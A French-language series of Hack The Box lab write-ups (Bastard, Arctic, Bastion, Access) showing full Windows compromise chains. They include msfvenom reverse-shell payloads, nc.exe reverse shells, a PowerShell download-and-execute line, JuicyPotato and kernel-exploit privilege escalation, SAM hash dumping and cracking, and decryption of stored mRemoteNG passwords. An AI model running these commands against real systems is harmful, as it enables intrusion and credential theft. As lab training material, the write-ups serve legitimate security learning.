J’ai trouvé un moyen de faire un shell encore plus stable. Le privesc ne marchait meme pas avec l’autre shell… On ne voyait pas les erreurs non plus. Il vaut mieu generer avec msfvenom un shell.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=9999 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell.exe

--------------

PS C:\inetpub\drupal-7.54> .\shell.exe

--------------

$ nc -lnvp 9999
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57676.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.


PS C:\inetpub\drupal-7.54>

Privilege Escalation

SEImpersonatePrivilege - JuicyPotato

On exploit avec JuicyPotato (j’ai vraiment beaucoup galérer…). On génére un deuxieme rev shell en .exe sur un autre port :

1

msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.25 LPORT=8888 -a x64 --platform windows -e x64/xor_dynamic -b '\x00' -f exe -o shell2.exe

On copie shell2.exe sur la machine puis on execute JuicyPotato.exe :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


PS C:\inetpub\drupal-7.54> ./JP.exe -p cmd.exe -a '/c C:\inetpub\drupal-7.54\shell2.exe' -l 4444 -t * -c '{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}'
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 4444
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

-------------------------------

exegol-pentest /workspace $ nc -lnvp 8888
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888

Ncat: Connection from 10.10.10.9.
Ncat: Connection from 10.10.10.9:57681.
Windows PowerShell running as user BASTARD$ on BASTARD
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
47f4.....3c54

Tips

un reverse shell en utilisant msfvenom semble plus stable (affiche les erreurs aussi) que le powershell -e …. que j’ai utilisé. Peut etre a utilisé en priorité la prochaine fois ?
Attention au CLSID. Toujours tester plusieurs. NE JAMAIS FAIRE CONFIANCE A CELUI PAR DEFAUT. Regarder sur :
- https://ohpe.it/juicy-potato/CLSID/
- https://github.com/ohpe/juicy-potato/tree/master/CLSID/

HTB | Arctic

Sat, 08 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Arctic	Windows	10.10.10.11	Easy

System Infos

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


Host Name: ARCTIC
OS Name: Microsoft Windows Server 2008 R2 Standard
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-507-9857321-84451
Original Install Date: 22/3/2017, 11:09:45 ??
System Boot Time: 9/3/2025, 4:20:09 ??
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
 [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 6.143 MB
Available Physical Memory: 4.964 MB
Virtual Memory: Max Size: 12.285 MB
Virtual Memory: Available: 11.080 MB
Virtual Memory: In Use: 1.205 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
 [01]: Intel(R) PRO/1000 MT Network Connection
 Connection Name: Local Area Connection
 DHCP Enabled: No
 IP address(es)
 [01]: 10.10.10.11

Enumeration

nmap

1
2


$ nmap -sC -sV -An -p- 10.10.10.11
HTTP -> Port 8500

Foothold

Adobe Coldfusion 8

On accède à une page de connexion pour les administrateurs du serveur : http://10.10.10.11:8500/CFIDE/administrator/enter.cfm

On note qu’il s’agit du service Adobe Coldfusion 8. On trouve directement un poc en python sur searchsploit et on obtient un shell sur la machine :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


$ python3 exploit.py
...
Printing some information for debugging...
lhost: 10.10.14.10
lport: 1337
rhost: 10.10.10.11
rport: 8500
payload: 097d871e33a84bc8a3ed6002724b19ee.jsp

Deleting the payload...

Listening for connection...

Executing the payload...
listening on [any] 1337 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49235

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ColdFusion8\runtime\bin> whoami
arctic\tolis

Stabilize powershell

Dans un premier temps, il a fallu obtenir un meilleur cmd.exe car il n’était pas stable du tout. Impossible d’obtenir directement un powershell (stable ou non). Ensuite, avec ce nouveau cmd.exe stable (grace a un serveur smbshare et un nc.exe), j’ai pu utiliser un nouveau revershell pour obtenir un powershell stable a l’aide du repo de nishang et de Invoke-TcpXXX.ps1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


┌──(kali㉿kali)-[~/htb/Arctic]
└─$ impacket-smbserver share .
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.11,49414)
[*] AUTHENTICATE_MESSAGE (ARCTIC\tolis,ARCTIC)
[*] User ARCTIC\tolis authenticated successfully
[*] tolis::ARCTIC:aaaaaaaaaaaaaaaa:c542f5a7a35d08fb97440dcae060b508:01010000000000000079e8fa958fdb0199d3a7cce7b544db00000000010010004a00550051007500770064006b004300030010004a00550051007500770064006b00430002001000500073005400480047006e005800440004001000500073005400480047006e0058004400070008000079e8fa958fdb01060004000200000008003000300000000000000000000000003000006d512dfe482ef201bb28a406e85c0fc4005f2cfd87b665b2061df41978469e2b0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003000000000000000000000000000
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:SHARE)

------------INITIAL FOOTHOLD CMD.EXE-------------

C:\ColdFusion8\runtime\bin>\\10.10.14.10\share\nc.exe -e cmd.exe 10.10.14.10 4444
\\10.10.14.10\share\nc.exe -e cmd.exe 10.10.14.10 4444

-----------NEW CMD.EXE ON PORT 4444-----------------
┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49435
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ColdFusion8\runtime\bin>\\10.10.14.10\share\nc.exe -e powershell.exe 10.10.14.10 5555
\\10.10.14.10\share\nc.exe -e powershell.exe 10.10.14.10 5555

C:\ColdFusion8\runtime\bin>powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10:8888/shell.ps1')
powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10:8888/shell.ps1')


-----------POWERSHELL ON PORT 1338------------------
┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 1338
listening on [any] 1338 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 49451
Windows PowerShell running as user tolis on ARCTIC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\ColdFusion8\runtime\bin>whoami
arctic\tolis

Privilege Escalation

Kernel Exploit : Chimichurri.exe

Searching for elevation privilege CVE using “wes” windows-exploits-suggester.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Arctic]
└─$ wes ./arctic_systeminfo | grep -I 'Elevation of Privilege' -B7 | grep CVE-2010-2554 -A7 -B2

Date: 20100810
CVE: CVE-2010-2554
KB: KB982799
Title: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege
Affected product: Windows Server 2008 R2 for x64-based Systems
Affected component:
Severity: Important
Impact: Elevation of Privilege
--

On trouve un github avec un exe deja compilé pour faire l’exploit:

https://github.com/egre55/windows-kernel-exploits/blob/master/MS10-059%3A%20Chimichurri/Compiled/Chimichurri.exe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


PS C:\Users\tolis> .\Chimichurri.exe
/Chimichurri/-->This exploit gives you a Local System shell <BR>/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>
PS C:\Users\tolis> .\Chimichurri.exe 10.10.14.10 7676

---------------------

┌──(kali㉿kali)-[~/htb/Arctic]
└─$ nc -lnvp 7676
listening on [any] 7676 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.11] 50748
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\tolis>whoami
whoami
nt authority\system

C:\Users\tolis>cd ../Administrator\Desktop
cd ../Administrator\Desktop

C:\Users\Administrator\Desktop>type root.txt
type root.txt
8980.....ffb6

HTB | Bastion

Mon, 03 Mar 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Bastion	Windows	10.10.10.134	Easy

Users

1
2
3


L4mpje : bureaulampje
Administrator : thXLHM96BeKL0ER2
Peter : 3RTTT5zNt2

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54


┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.134
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bG3TRRwV6dlU1lPbviOW+3fBC7wab+KSQ0Gyhvf9Z1OxFh9v5e6GP4rt5Ss76ic1oAJPIDvQwGlKdeUEnjtEtQXB/78Ptw6IPPPPwF5dI1W4GvoGR4MV5Q6CPpJ6HLIJdvAcn3isTCZgoJT69xRK0ymPnqUqaB+/ptC4xvHmW9ptHdYjDOFLlwxg17e7Sy0CA67PW/nXu7+OKaIOx0lLn8QPEcyrYVCWAqVcUsgNNAjR4h1G7tYLVg3SGrbSmIcxlhSMexIFIVfR37LFlNIYc6Pa58lj2MSQLusIzRoQxaXO4YSp/dM1tk7CN2cKx1PTd9VVSDH+/Nq0HCXPiYh3
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBF1Mau7cS9INLBOXVd4TXFX/02+0gYbMoFzIayeYeEOAcFQrAXa1nxhHjhfpHXWEj2u0Z/hfPBzOLBGi/ngFRUg=
| 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB34X2ZgGpYNXYb+KLFENmf0P0iQ22Q0sjws2ATjFsiN
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Host script results:
| smb2-time:
| date: 2025-02-27T22:08:39
|_ start_date: 2025-02-27T22:04:13
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-02-27T23:08:38+01:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m59s, deviation: 34m38s, median: 0s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 26941/tcp): CLEAN (Couldn't connect)
| Check 2 (port 51775/tcp): CLEAN (Couldn't connect)
| Check 3 (port 18741/udp): CLEAN (Failed to receive data)
| Check 4 (port 15523/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked

Foothold

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~/htb/Bastion]
└─$ smbclient --no-pass -L //10.10.10.134

 Sharename Type Comment
 --------- ---- -------
 ADMIN$ Disk Remote Admin
 Backups Disk
 C$ Disk Default share
 IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.134 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Mount backup windows disk VDB

1

guestmount -a ./9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd -i --ro /mnt/vhd_mount

Retrieve hashes from Windows files

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# cp /mnt/vhd_mount/Windows/System32/config/SAM .
cp /mnt/vhd_mount/Windows/System32/config/SYSTEM .
cp /mnt/vhd_mount/Windows/System32/config/SECURITY .

┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# ls
SAM SECURITY SYSTEM

┌──(root㉿kali)-[/home/kali/htb/Bastion]
└─# impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...

Hashcat bruteforce

On a la confirmation que le mot de passe est bien: bureaulampje

1
2


hashcat -m 1000 hash.txt ~/wordlists/rockyou.txt --show
26112010952d963c8dc4217daec986d9:bureaulampje

SSH L4mpje

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


┌──(kali㉿kali)-[~]
└─$ ssh L4mpje@10.10.10.134
Password: bureaulampje

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>whoami
bastion\l4mpje

l4mpje@BASTION C:\Users\L4mpje>type Desktop\user.txt
1018.....3717

Recycle Bin - Peter username/pass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> dir -ah


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 22-2-2019 13:50 129 desktop.ini


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat .\desktop.ini
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> Get-ChildItem


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 22-2-2019 13:56 214 $I1MMX2E.txt
-a---- 22-2-2019 13:56 218 $INTSJCP.bat
-a---- 22-2-2019 13:54 67 $R1MMX2E.txt
-a---- 22-2-2019 13:56 58 $RNTSJCP.bat


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> Get-ChildItem -Force


 Directory: C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 22-2-2019 13:56 214 $I1MMX2E.txt
-a---- 22-2-2019 13:56 218 $INTSJCP.bat
-a---- 22-2-2019 13:54 67 $R1MMX2E.txt
-a---- 22-2-2019 13:56 58 $RNTSJCP.bat
-a-hs- 22-2-2019 13:50 129 desktop.ini


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$RNTSJCP.bat'
NET USE Z: "\\192.168.1.74\Backups" /user:Peter 3RTTT5zNt2
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> date

maandag 3 maart 2025 00:05:57


PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$I1MMX2E.txt'
 C P9c ®ÊÔ]] C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
S t a r t M e n u \ P r o g r a m s \ S t a r t u p \ L 4 m p j e . b a t . t x t
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$INTSJCP.bat'
 :
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 : C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 ®ÊÔ_ C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
 ®®ÊÔ__ C : \ U s e r s \ L 4 m p j e \ A p p D a t a \ R o a m i n g \ M i c r o s o f t \ W i n d o w s \ 
S t a r t M e n u \ P r o g r a m s \ S t a r t u p \ P e t e r - s c r i p t . b a t
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$R1MMX2E.txt'
NET USE Z: "\\192.168.1.74\Backups" /user:L4mpje /pass:bureaulampje
PS C:\$Recycle.Bin\S-1-5-21-2146344083-2443430429-1430880910-1002> cat '$RNTSJCP.bat'
NET USE Z: "\\192.168.1.74\Backups" /user:Peter 3RTTT5zNt2

Privilege Escalation

mRemoteNG

En regardant les logiciels installés de plus près, on observe un logiciel intéressant et suspect. Il permet de se connecter à des systèmes en s’authentificant avec des mots de passe stocker dans sa configuration.

Recuperation du fichier de configuration

En cherchant sur internet on trouve cette info :

1

%APPDATA%\mRemoteNG\confCons.xml

Ce fichier semble contenir les mots de passe d’après un internaute. Après vérification, on retrouve le hachage du mot de passe de l’Administrateur ainsi que celui de L4mpje :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> ls


 Directory: C:\Users\L4mpje\Appdata\Roaming\mRemoteNG


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 22-2-2019 14:01 Themes
-a---- 22-2-2019 14:03 6316 confCons.xml
-a---- 22-2-2019 14:02 6194 confCons.xml.20190222-1402277353.backup
-a---- 22-2-2019 14:02 6206 confCons.xml.20190222-1402339071.backup
-a---- 22-2-2019 14:02 6218 confCons.xml.20190222-1402379227.backup
-a---- 22-2-2019 14:02 6231 confCons.xml.20190222-1403070644.backup
-a---- 22-2-2019 14:03 6319 confCons.xml.20190222-1403100488.backup
-a---- 22-2-2019 14:03 6318 confCons.xml.20190222-1403220026.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403261268.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403272831.backup
-a---- 22-2-2019 14:03 6315 confCons.xml.20190222-1403433299.backup
-a---- 22-2-2019 14:03 6316 confCons.xml.20190222-1403486580.backup
-a---- 22-2-2019 14:03 51 extApps.xml
-a---- 22-2-2019 14:03 5217 mRemoteNG.log
-a---- 22-2-2019 14:03 2245 pnlLayout.xml


PS C:\Users\L4mpje\Appdata\Roaming\mRemoteNG> cat .\confCons.xml
<?xml version="1.0" encoding="utf-8"?>
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
 <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna
me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
...
 <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128"
 Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB"
 ...

Donc : Administrator : aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Déchiffrement du hachage de l’Administrateur

Un outil est dispo sur github pour cracker ce genre de fichier : https://github.com/haseebT/mRemoteNG-Decrypt

1
2
3


┌──(kali㉿kali)-[~/htb/Bastion/mRemoteNG-Decrypt]
└─$ python3 mremoteng_decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==
Password: thXLHM96BeKL0ER2

Connection en SSH - root flag

1
2
3
4
5
6
7
8
9


┌──(kali㉿kali)-[~/htb/Bastion]
└─$ ssh Administrator@10.10.10.134
Administrator@10.10.10.134's password: ** thXLHM96BeKL0ER2 **

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>type Desktop\root.txt
e90b.....42f6

HTB | Access

Tue, 18 Feb 2025 00:00:00 +0000

Machine name	OS	IP	Difficulty
Access	Windows	10.10.10.98	Easy

Users

1

security : 4Cc3ssC0ntr0ller

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


┌──(kali㉿kali)-[~/htb/Access]
└─$ nmap -sC -sV -An -T4 -vvv -p- 10.10.10.98
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet syn-ack ttl 127 Microsoft Windows XP telnetd
| telnet-ntlm-info:
| Target_Name: ACCESS
| NetBIOS_Domain_Name: ACCESS
| NetBIOS_Computer_Name: ACCESS
| DNS_Domain_Name: ACCESS
| DNS_Computer_Name: ACCESS
|_ Product_Version: 6.1.7600
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: MegaCorp

Foothold

FTP Anonymous connexion: Gettings 2 files

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


┌──(kali㉿kali)-[~/htb/Access/Access Control]
└─$ ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
425 Cannot open data connection.
200 PORT command successful.
150 Opening ASCII mode data connection.
08-23-18 08:16PM <DIR> Backups
08-24-18 09:00PM <DIR> Engineer
226 Transfer complete.
ftp> cd Backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 08:16PM 5652480 backup.mdb
226 Transfer complete.
ftp> cd ../Engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
08-24-18 12:16AM 10870 Access Control.zip
226 Transfer complete.
ftp> ^D
221 Goodbye.

backup.mdb and Access Control.zip

En analysant les tables disponibles dans le fichier backup.mdb, on trouve la table “auth_user” qui contient un champs PASSWORD potentiellement intéressant.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


┌──(kali㉿kali)-[~/htb/Access]
└─$ mdb-schema backup.mdb | grep -i PASSWORD -A30 -B30
...
CREATE TABLE [auth_user]
 (
 [id] Long Integer,
 [username] Text (50),
 [password] Text (50),
 [Status] Long Integer,
 [last_login] DateTime,
 [RoleID] Long Integer,
 [Remark] Memo/Hyperlink (255)
);
...

On extrait la table auth_user et on récupère 3 credentials user/password.

1
2
3
4
5
6


┌──(kali㉿kali)-[~/htb/Access]
└─$ mdb-export backup.mdb auth_user
id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,

